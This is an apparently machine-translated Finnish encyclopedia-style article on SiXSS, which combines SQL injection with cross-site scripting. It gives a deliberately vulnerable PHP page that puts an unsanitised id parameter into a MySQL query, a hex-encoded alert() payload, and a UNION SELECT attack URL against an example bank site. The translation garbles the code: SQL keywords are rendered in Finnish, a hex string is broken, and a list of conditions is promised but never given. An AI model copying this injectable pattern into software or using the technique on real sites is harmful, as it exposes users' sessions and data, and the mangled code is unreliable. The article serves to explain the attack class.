SiXSS ( englanniksi Sql Injection Сross Site Scripting - "Cross -site scripting in läsnä SQL-injektio ") - eräänlainen hyökkäys haavoittuvia interaktiivisia tietojärjestelmiä verkossa ; asiakastietokoneella suoritettujen haitallisten komentosarjojen lisääminen järjestelmän julkaisemalle sivulle lisäämällä koodia SQL-injektioon. Tyypillisesti tämä haavoittuvuus ilmenee asiakaspuolella, kun tulostettavat kentät päätellään SQL-injektion avulla.
Jotta hyökkäys tapahtuisi, palvelimella on oltava kaksi asiaa.
Hyökkäys on sivustojen välistä komentosarjaa (XSS), joka tehdään "myrkytyspyynnön" kautta. Sen aiheuttama vahinko on kuin tavallisesta XSS:stä: se voi varastaa käyttäjän evästeitä , mukaan lukien istuntotunnuksen ja muut asiakkaalle tallennetut arkaluontoiset tiedot, suorittaa komentoja käyttäjän puolesta.
Kuten mikä tahansa XSS, SiXSS voidaan heijastaa (haitallinen komentosarja on tallennettu pyyntöön) ja tallentaa (haitallinen komentosarja on tallennettu tietokantaan).
Oletetaan, että palvelimella on tietokanta, joka sisältää muotoa olevan taulukon:
LUO TIETOKANTA cms ; KÄYTÄ cms ; GRANT SELECT ON cms . * ' user_noprivs ' @ 'localhost': lle TUNNISTETTU SALASANALLA ' 4f665d3c1e638813 ' ; CREATE TABLE content_table ( id INT PRIMARY KEY AUTO_INCREMENT , content TEXT ); INSERT INTO content_table ( sisältö ) ARVOT ( 'Oma pankki [p] Käyttäjä: [syöttötyyppi=\"teksti\" nimi=\"käyttäjänimi\"] Salasana: [syöttötyyppi=\"salasana\" nimi=\"salasana\" "] [input type=submit value=\"Kirjaudu sisään\"] ' );ja siellä on tällainen PHP-tiedosto:
Oma pankki
<? php if ( @ isset ( $ _GET [ 'id' ])){ $myconns = @ mysql_connect ( \" 127.0.0.1 \" , \" user_noprivs \" , \" unbr34k4bё3 ! \" ) tai kuolla ( \" anteeksi voi 't connect\"); @mysql_select_db(\"cms\") or die(\"Valitettavasti en voi valita DB: tä \" ); $sql_query = @ mysql_query ( \" valitse sisältö sisältötaulukosta jossa id = \ " . $_GET [ ' id' ]) tai kuole ( \" Anteeksi väärä SQL - kysely \" ); // oho SQL Injection-^ while ( $tmp = @ mysql_fetch_row ( $sql_query )) echo $tmp [ 0 ]; //toistaa tuloksen HTML-koodina } else { echo \ " Tervetuloa pankkiini \ " . Kirjaudu sisään . \"\" ; } ?>Kuten näet, MySQL-kyselyn tulokset on välitettävä käyttäjälle. Voimme katsella tätä html-sivua, mutta emme näe siinä mitään erikoista. Vierailemalla sivulla ja napsauttamalla linkkiä käyttäjä saa valtuutuskutsun.
Tästä voidaan päätellä, että:
Ongelma ilmenee siinä tapauksessa, että osa tietokannan tekstistä menee suoraan HTML-sivulle. Jos yritämme käyttää klassista SQL-injektiohyökkäystä, saamme tietoa SQL-palvelimesta eikä mitään muuta. Mutta asiakaspuolella on haavoittuvuus. UNION SELECT -valinnan avulla hyökkääjä voi syöttää mielivaltaista tekstiä.
Hyökkäys
Ohitaksesi mukana olevat gpc_magic_quotes, käytä "0xXX" HEX:ää tekstin sijaan: mysql] select HEX('[ script]alert("SiXSS");[/script]');
+-------------------------------------------------- ---------------------+ | HEX ( '[script]alert(\"SiXSS\");[/script]' ) | +-------------------------------------------------- ---------------------+ | 3 C7363726970743E616C65727428222536958535322293B3C2F 7363726970743 E | +-------------------------------------------------- -------------------- + 1 rivi sarjassa ( 0.00 s )ja liitä tämä HTTP-pyyntöön:
http://www.mybank.com?id=1+union+select+ _ _ 0x3C7363726970743E616C6572742822536958535322293B3C 2 F7363726970743EVastaus on sama sivu, mutta lisäksi tämä skripti suoritetaan asiakaspuolella.
([ script ] hälytys ( " SiXSS " );[ /script])Tämä on SQL Injection for Cross Site Scripting (SiXSS)
Esimerkki otettu SecurityLabin verkkosivuilta
Nämä hyökkäykset luokitellaan SQL-injektio- ja XSS-hyökkäysten luokituksen mukaan , koska ne ovat kahden erilaisen hyökkäyksen yhdistelmä.